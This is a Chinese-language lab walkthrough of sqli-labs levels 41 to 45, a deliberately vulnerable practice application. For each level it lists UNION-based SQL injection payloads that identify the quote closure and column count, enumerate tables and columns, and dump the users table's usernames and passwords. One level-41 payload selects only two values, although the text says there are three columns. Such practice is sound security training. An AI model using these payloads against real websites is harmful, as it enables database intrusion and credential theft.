sqli-labs通关（41- ）

第四十一关

1、判断闭合和列数

整数闭合，共有3列

2、查看数据库名

?id=-1 union select 1,database() --+

3、查看数据表名

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

4、查看users字段名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and  table_name='users' --+

5、查看users表内容

?id=-1 union select 1,2,group_concat(username ,id , password) from users --+

第四十二关

1、登录页面,尝试查看回显位置

 

2、查看数据库名

1' union select 1,database(),3 #

3、查看数据表名

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

 

 

4、查看users字段名

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

5、查看users表中内容

1' union select 1,group_concat(username,password),3 from users # 

 

第四十三关

1、判断闭合和列数

输入1'),闭合成功，查看 1') order by 3 查看列数，共有三列

 

2、查看数据库名

1') union select 1,database(),3 #

 

3、查看数据表名

1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

4、查看users字段名

1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

 

5、查看users表内容

1') union select 1,group_concat(username,password),3 from users #

第四十四关

1、判断闭合和列数,查看回显点

1' union select 1,2,3 #，是' 闭合，共有三列

2、查看数据库名

1' union select 1,database(),3 #

3、查看数据表名

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

4、查看users字段名

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

5、查看users表内容

1' union select 1,group_concat(username,password),3 from users # 

第四十五关

1、判断闭合和列数,查看回显点

输入1'),闭合成功，查看 1') union select 1,2,3# 查看列数，共有三列

2、查看数据库名

1') union select 1,database(),3 #

3、查看数据表名

1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

4、查看users字段名

1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

5、查看users表内容

1') union select 1,group_concat(username,password),3 from users #